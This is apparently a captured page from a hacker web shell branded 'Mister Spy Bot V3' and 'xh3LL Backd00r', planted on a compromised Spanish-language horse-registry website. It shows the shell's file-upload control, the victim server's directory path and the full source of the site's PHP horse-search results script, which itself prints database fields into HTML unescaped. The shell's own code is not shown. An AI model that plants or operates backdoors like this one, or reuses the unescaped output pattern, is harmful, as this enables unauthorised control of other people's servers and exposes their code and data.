Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/buscar_caballos_resultado.php

<?php
ini_set('display_errors', '0');     # don't show any errors...
error_reporting(E_ALL | E_STRICT);  # ...but do log them

require_once('library/class.exiss.php');
require_once('library/class.pdres.php');
require_once('library/class.extrs.php');
require_once('library/class.pelos.php');
require_once('library/class.misc.php');

$Sba				= (isset($_REQUEST['SBA']))		? strval($_REQUEST['SBA']) 		: '';
$Sexo				= (isset($_REQUEST['Sexo']))		? strval($_REQUEST['Sexo']) 		: '';
$Submit				= (isset($_REQUEST['Submitted'])) 	? $_REQUEST['Submitted']	: 0;
$Action				= (isset($_REQUEST['MainAction'])) 	? strval($_REQUEST['MainAction'])	: '';

$arrResult = [];
$Pelos = new Pelos();

if ($Submit)
{
	switch ($Action)
	{
		
		case 'Buscar':
				$Tabla = '';
				if ($Sexo == 2) { // BUSCO EN EXISS
					$Caballos = new Exiss();
					$Tabla = 'IdExis';
				}else{
					$Caballos = new Pdres();
					$Tabla = 'IdPdre';
				}
				$Extrs 	= new Extrs();


				$arrCaballos = $Caballos->GetBySBA($Sba, NULL);
				$arrExtr = $Extrs->GetBySBA($Sba, '', $Sexo);

				foreach ($arrCaballos as $oCaballo)
				{
					$oCaballo->Tabla = $Tabla;
					$arrResult[]= $oCaballo;
				}
				foreach ($arrExtr as $oExtr)
				{
					$oExtr->Tabla = 'IdExtr';
					$arrResult[]= $oExtr;
				}
			break;
		
		default:
			break;		
	}
}

?>

                                        	<td colspan="3" width="100%" align="center">
                                           	  
                                                <?php if (count($arrResult) > 0) { ?>
                                              <div align="center" style="height:200px; width:100%; overflow:scroll; background-color:#FFFFFF">
                                               	  <table align="left" width="100%" cellpadding="0" cellspacing="0" class="b" >
                                                   	  <tr class="FondoGris" height="20">
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="left" class="Estilo5">Nombre</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="left" class="Estilo5">F. Nac</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="center" class="Estilo5">SBA</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="center" class="Estilo5">RP</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="center" class="Estilo5">Pelo</div></td>
                                                        <td width="5">&nbsp;</td>
                                                        <td width="5">&nbsp;</td>
                                                        <td width="5">&nbsp;</td>
                                                    </tr>
												<?php 
														$MayorId = 0;
													foreach ($arrResult as $oAnimal) {
														$Table = $oAnimal->Tabla;
												
												?>                                                	
                                                      <tr style="cursor: pointer">
														  														<td width="10">&nbsp;</td>
                                                          <td><div align="left"><?=$oAnimal->NOMB?></div></td>
														  														<td width="10">&nbsp;</td>
                                                          <td><div align="left"><?=CambiarFecha($oAnimal->FNAC)?></div></td>
                                                       		<td width="10">&nbsp;</td>
														  														<td><div align="center"><?=$oAnimal->HBAE?></div></td>
                                                       		<td width="10">&nbsp;</td>
														  														<td><div align="center"><?=$oAnimal->RPEX?></div></td>
                                                       		<td width="10">&nbsp;</td>
														  														<td><div align="center"><?=$Pelos->GetNombreById($oAnimal->CPEL)?></div></td>
                                                          <td width="5">&nbsp;</td>
                                                          <td width="5"><input type="radio" class="seleccionador-caballo" style="cursor: pointer" src="images/iconos/check.gif" alt="Seleccionar" title="Seleccionar" data-id="<?= $oAnimal->$Tabla ?>" data-nombre="<?= $oAnimal->NOMB ?>" data-sba="<?= $oAnimal->HBAE ?>" data-rp="<?= $oAnimal->RPEX ?>" data-fnac="<?= CambiarFecha($oAnimal->FNAC) ?>" data-tabla="<?= $oAnimal->Tabla ?>" data-sexo="<?= $Sexo ?>" value="1" /></td>
                                                          <td width="5">&nbsp;</td>
                                                      </tr>
												<?php } ?>
                                                		<input type="hidden" name="MayorId" id="MayorId" value="<?=$MayorId?>" />
														<tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
                                                </table>
                                             </div>
                                                <?php }else{ ?>                                               	
                                               	  <table align="center" width="50%" cellpadding="0" cellspacing="0" class="bordeRojoError" bgcolor="#FFFFFF" >
                                                	  <tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
                                                      <tr>
                                                      	<td><div align="center" class="Cierre"><b>Atenci&oacute;n:</b></div></td>
                                                      </tr>
                                                      <tr>
                                                          <td><div align="center" class="Cierre">No se han encontrado registros que coincidan con la b&uacute;squeda efectuada. Intente nuevamente. </div></td>
                                                      </tr>
                                                      <tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
                                                  </table>
                                                <?php } ?>                                                  
                                            </td>
                                        

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat